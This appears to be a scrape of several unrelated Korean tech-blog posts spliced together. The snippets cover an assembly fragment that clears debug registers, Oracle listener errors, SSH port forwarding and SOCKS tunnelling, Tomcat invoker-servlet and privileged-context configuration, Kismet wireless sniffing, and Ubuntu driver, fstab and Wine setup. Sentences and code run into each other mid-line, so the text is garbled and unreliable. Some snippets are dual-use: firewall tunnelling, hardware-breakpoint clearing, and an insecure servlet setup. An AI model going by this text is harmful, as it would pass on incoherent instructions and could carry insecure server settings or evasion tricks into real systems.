mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret
java.sql.SQLException: IO 예외 상황: The Network Adapter could not establish the connection오라클을 설치 후 원격의 시스템과 연결이 아닌 localhost(127.0.0.1)에 연결하고자 할 때 리스너 설정이 잘못된 경우 위와 같은 에러 메시지가 발생할 수 있다. 그 외에도 여러가지 에러에 발생할 수 있겠지만, 본인의 경우를 중점으로 설명한다.(단기기억력으로 나중에 고생하기싫어요...)
C:\oracle\product\10.2.0\db_1\NETWORK\ADMIN 경로의그러나 파일을 열어보고 수정하기에는 설정 파일의 문법을 모르기 때문에 가독성 면에서 좋지 못하다.
tnsnames.ora와 listener.ora 파일이다.

SSH -L 1080:rain9.com:21 ssh-server.com내 컴퓨터에 1080 포트를 Open(Listen)하고 ssh-server.com의 22번 포트로 접속을 한다.(따로 포트를 지정안했기 때문에 default ssh port인 22번으로 접속)
접속이 되면 놔두고 새로운 콘솔창을 띄워서
ftp localhost 1080

SSH -R 1090:rain9.com:21 ssh-server.comssh-server.com의 22번 포트로 접속하여 ssh-server.com 서버에서 1090 포트를 Open(Listen)하고(그러나 Dafault로 127.0.0.1인 looopback 주소로만 열린다.) 서버에 접속한 상태로 ftp 127.0.0.1 1090 로 접속하면 rain9.com의 21번 포트로 접속이되어진다.
접속이 되면 그 상태로
ftp localhost 1090
GatewayPorts yes만일 ssh-server.com의 sshd_config 설정에 위 내용이 추가 되어 있다면, 127.0.0.1이 아닌 0.0.0.0 주소로 Listen하기 때문에 외부에서도 사용이 가능해진다.
ftp ssh-server.com 1090로 접속하게 되면 rain9.com:21으로 Forwarding되어 접속이 가능해진다.
SOCKS는 SOCKS 서버의 반대쪽에 있는 호스트의 연결 요청을 재지정하여 직접적인 IP 접근 없이 한쪽의 호스트가 다른 쪽의 호스트에 완전하게 액세스할 수 있도록 하는 네트워킹 프록시 프로토콜입니다. SOCKS는 권한 없는 사용자가 인터넷을 통해 내부 호스트에 액세스하는 것은 방지하면서도 SOCKS 서버 뒤의 호스트가 인터넷에 완전하게 액세스할 수 있도록 하는 네트워크 방화벽으로 널리 사용됩니다.어플리케이션 계층이 아닌 네트워크 계층이라 HTTP Proxy Server처럼 제한적이지 않으므로 유용하다. 그러므로 HTTP나 메신져, IRC 등과 같이 어플리케이션 계층의 프로토콜이나 프로그램에서 범용적으로 사용이 가능한 것이다.
SOCKS 서버는 지점 간 기반으로 방화벽을 통해 액세스를 제어하는 일반적인 방화벽 데몬입니다. SOCKS 서버는 요청을 인증 및 승인하고, 프록시 연결을 수립하고, 데이터를 중계합니다. SOCKS 서버는 응용 프로그램 수준이 아닌 네트워크 수준에서 작동하므로 요청 전송에 사용되는 프로토콜이나 방법에 대해 알지 못합니다. SOCKS 서버가 프로토콜을 알지 못하므로 Proxy Server가 지원하지 않는 Telnet과 같은 프로토콜을 전달하는 데 사용될 수 있습니다.
Sun Java System Web Proxy Server 4 .0.1 관리 설명서 15장의 일부 내용임.
SSH -D 1080 ssh-server.com내 컴퓨터의 SOCKS 방식의 1080 포트를 오픈하고 ssh-server.com으로 접속한다. 프로그램에서 프록시 설정에서 SOCKS 방식을 선택하고 localhost를 적어주고 포트 1080을 적어주면 ssh-server.com의 ip로 웹서핑이나 메신져 사용이 가능해진다.
<?xml version="1.0" encoding="ISO-8859-1"?>test007/ 경로에 index.html 파일을 만들고
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
</web-app>
<servlet>이 곳과 아래 내용
<servlet-name>invoker</servlet-name>
<servlet-class>
org.apache.catalina.servlets.InvokerServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>invoker</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<?xml version="1.0" encoding="UTF-8"?>위와 같이하고 xml 설정 파일을 reload하기 위해 톰캣을 재시작한다.
<Context docBase="C:\test008"
privileged="true" antiResourceLocking="false" antiJARLocking="false">
</Context>
<Context path="/test008" docBase="D:\test008"/>를 삽입한다.
sudo apt-get install kismet
sudo kismet하면 conf에서 설정이 되어 있지 않으므로 오류가 나면서 실행이 되지 않는다.
sudo vi /etc/kismet/kismet.confsource=sourcetype,interface,name[,initialchannel]source=none,none,addme
로 되어 있는 것을 아래와 같이 수정
source=ath5k,wlan0,addme
sudo kismet
1. 오픈오피스 글꼴 버그본인은 intel X4500 그래픽카드를 사용하는데 uax를 작동시켰더니 체감 속도가 조금 향상되었고, NTFS 파티션 자동마운트의 경우 따로 프로그램을 설치하지는 않고, /etc/fstab에 등록시켰다.
2. 네트워크 서비스 탐색 비활성화 오류 메시지
3. intel 그래픽 카드 성능 저하 문제
4. NTFS 파티션 자동 마운트
5. Atheros 무선랜 버그(a/b/g에 해당, n은 ath9k가 담당)
# uuid 확인하기(sata 하드디스크의 경우)fstab에 아래 내용와 같은 내용을 추가하였다.(UUID는 부분 #처리)
/dev/disk/by-uuid
sudo vi /etc/fstab
# 설명1. 장치명 : /dev/sda, /dev/sda1 /dev/hda1 과 같은 형식의 장치명을 적는다
# 1 2 3 4 5 6
UUID=##64F4D864#### /media/DATA ntfs-3g defaults 0 0

wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2
tar jxvf compat-wireless-2.6.tar.bz2
cd compat-wireless-2009-05-21
sudo apt-get install build-essential
make
sudo make install

sudo apt-get install wine cabextractGUI 창이 뜨고 확인만 눌러서 설치하면 된다고 하는데, 파이썬 관련 오류가 나오길래
wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gztar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux
./ies4linux --no-gui그랬더니 /home/사용자계정/bin/ie6이라는 심볼릭링크가 생성이 되었다.
/home/사용자계정/.ies4linux/ie6/drive_c경로로 들어가면 windows와 programe files 디렉토리가 존재하여 ActiveX 설치나 프로그램 설치시 설치 가능하도록 되어져 있었다.
sudo apt-get install conkysudo apt-get install devilspie
more..
mkdir ~/.devilspie
touch ~/.devilspie/conky.ds
more..

